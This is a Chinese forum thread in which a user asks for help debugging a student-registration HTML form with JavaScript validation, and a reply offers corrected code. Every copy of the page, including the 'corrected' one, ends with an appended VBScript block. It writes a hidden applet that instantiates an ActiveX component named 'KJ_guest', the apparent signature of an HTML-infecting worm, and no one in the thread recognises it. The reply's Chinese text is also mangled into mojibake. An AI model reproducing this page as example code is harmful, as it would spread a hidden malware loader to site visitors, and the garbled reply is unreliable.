各位大虾，请看一下这一段代码，有什么错误？谢谢！！！

<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<title>新同学注册</title><script language=JavaScript>
function isEmpty(str){
           if((str==null)||(str.length==0))
              return true;
            else return(flase);
                      }function isEmail(theStr){
           var atIndex=theStr.indexOf('@');
           var dotIndex=theStr.indexOf('.',atIndex);
           var flag=true;
           theSub=theStr.substring(0,dotIndex+1);
        if((atIndex<1)||(atIndex!=theStr.lastIndexOf('@'))||
           (dotIndex<atIndex2B2)||(theStr.length<=theSub.length))
          {flag=false;}
       else{flag=true;}
       return (flag);
   }


     function checkform(){
                 var flag=true;
                   if(isEmpty(window.document.studentNewFrm.studentID.value)){
                    alert("学号不能为空！");
                    window.document.studentNewFrm.studentID.focus();
                    flag=flase;}
                 else
                   if(isEmpty(window.document.studentNewFrm.password.value)){
                    alert("密码不能为空！");
                    window.document.studentNewFrm.password.focus();
                    flag=flase;}
                 else
                   if(isEmail(window.document.studentNewFrm.email.value)!=true){
                    alert("邮箱地址应包含@与.")
                    window.document.studentNewFrm.email.focus()
                    flag=flase;}
                    return flag;
                                       }
</script>
</head>
<body>
<form method="post" name="studentNewFrm" onsubmit="return checkform(this)">
</form><p>学号：<input type="text" name="studentID" size="20"></p>
<p>姓名：<input type="text" name="studentname" size="20"></p>
<p>密码：<input type="password" name="password" size="20"></p>
<p>电子邮箱：<input type="text" name="email" size="20"></p>
<p>性别：<input type="radio" value="1" checked name="sex">男<input type="radio" name="sex" value="2">女</p>
<p>院系：<select size="1" name="department">
  <option selected>计算机科学与技术系</option>
  <option>材料系</option>
  <option>食品工程系</option>
  <option>机电学院</option>
  <option>经贸学院</option>
  <option>艺术学院</option>
  <option>轻化学院</option>
  <option>化工学院</option>
</select></p>
<p><input type="submit" value="注册" name="submitbutton">
<input type="reset" value="重写" name="resetbutton"　</p>
</form>
</body>
</html>
<HTML>
<BODY>
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
</BODY>
</HTML></慕白兄>

解决方案 »

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<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<title>新同学注册</title><script language=JavaScript>
function isEmpty(str){
           if(str=="")
              return true;                      }function isEmail(theStr){
           var atIndex=theStr.indexOf('@');
           var dotIndex=theStr.indexOf('.',theStr);
           theSub=theStr.substring(0,dotIndex+1);

        if((atIndex<1)||(atIndex!=theStr.lastIndexOf('@'))||
           (dotIndex<atIndex+2)||(theStr.length<=theSub.length))
          {return true;}
       else{return false;}
                        }
     function checkform(e){
                   if(isEmpty(e.studentID.value)){
                    alert("学号不能为空！");
                    e.studentID.focus();
                    return false;}                   if(isEmpty(e.password.value)){
                    alert("密码不能为空！");
                    e.password.focus();
                    return false;}                   if(isEmail(e.email.value)){
                    alert("邮箱地址应包含@与.")
                    e.email.focus();
                    return false;}                    return true;
                                       }
</script>
</head>
<body>
<form method="post" name="studentNewFrm" onsubmit="return checkform(this)">
<p>学号：<input type="text" name="studentID" size="20"></p>
<p>姓名：<input type="text" name="studentname" size="20"></p>
<p>密码：<input type="password" name="password" size="20"></p>
<p>电子邮箱：<input type="text" name="email" size="20"></p>
<p>性别：<input type="radio" value="1" checked name="sex">男<input type="radio" name="sex" value="2">女</p>
<p>院系：<select size="1" name="department">
  <option selected>计算机科学与技术系</option>
  <option>材料系</option>
  <option>食品工程系</option>
  <option>机电学院</option>
  <option>经贸学院</option>
  <option>艺术学院</option>
  <option>轻化学院</option>
  <option>化工学院</option>
</select></p>
<p><input type="submit" value="注册" name="submitbutton">
<input type="reset" value="重写" name="resetbutton"　</p>
</form>
</body>
</html>
<HTML>
<BODY>
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
</BODY>
</HTML>
你怎么会再一个页面有两个<html>标签，onload="vbscript:KJ_start()"我没有找到
程序修改如下
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<title>ÐÂÍ¬Ñ§×¢²á</title><script language=JavaScript>
function isEmpty(str){
           if((str==null)||(str.length==0))
              return true;
            else return(false);
                      }function isEmail(theStr){
           var atIndex=theStr.indexOf('@');
           var dotIndex=theStr.indexOf('.',atIndex);
           var flag=true;
           theSub=theStr.substring(0,dotIndex+1);
        if((atIndex<1)||(atIndex!=theStr.lastIndexOf('@'))||
           (dotIndex<atIndex+2)||(theStr.length<=theSub.length))
          {flag=false;}
       else{flag=true;}
       return (flag);
                        }
     function checkform(form){
                 var flag=true;
                   if(isEmpty(form.studentID.value)){
                    alert("Ñ§ºÅ²»ÄÜÎª¿Õ£¡");
                    form.studentID.focus();
                    flag=false;}
                 else
                   if(isEmpty(form.password.value)){
                    alert("ÃÜÂë²»ÄÜÎª¿Õ£¡");
                    form.password.focus();
                    flag=false;}
                 else
                   if(isEmail(form.email.value)!=true){
                    alert("ÓÊÏäµØÖ·Ó¦°üº¬@Óë.")
                    form.email.focus()
                    flag=false;}
                    return flag;
                                       }
</script>
</head>
<body>
<form method="post" name="studentNewFrm" onsubmit="return checkform(this)" action='xx.asp'>
<p>Ñ§ºÅ£º<input type="text" name="studentID" size="20"></p>
<p>ÐÕÃû£º<input type="text" name="studentname" size="20"></p>
<p>ÃÜÂë£º<input type="password" name="password" size="20"></p>
<p>µç×ÓÓÊÏä£º<input type="text" name="email" size="20"></p>
<p>ÐÔ±ð£º<input type="radio" value="1" checked name="sex">ÄÐ<input type="radio" name="sex" value="2">Å®</p>
<p>ÔºÏµ£º<select size="1" name="department">
  <option selected>¼ÆËã»ú¿ÆÑ§Óë¼¼ÊõÏµ</option>
  <option>²ÄÁÏÏµ</option>
  <option>Ê³Æ·¹¤³ÌÏµ</option>
  <option>»úµçÑ§Ôº</option>
  <option>¾Ã³Ñ§Ôº</option>
  <option>ÒÕÊõÑ§Ôº</option>
  <option>Çá»¯Ñ§Ôº</option>
  <option>»¯¹¤Ñ§Ôº</option>
</select></p>
<p><input type="submit" value="×¢²á" name="submitbutton">
<input type="reset" value="ÖØÐ´" name="resetbutton"¡¡></p>
</form>
</body>
</html>
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>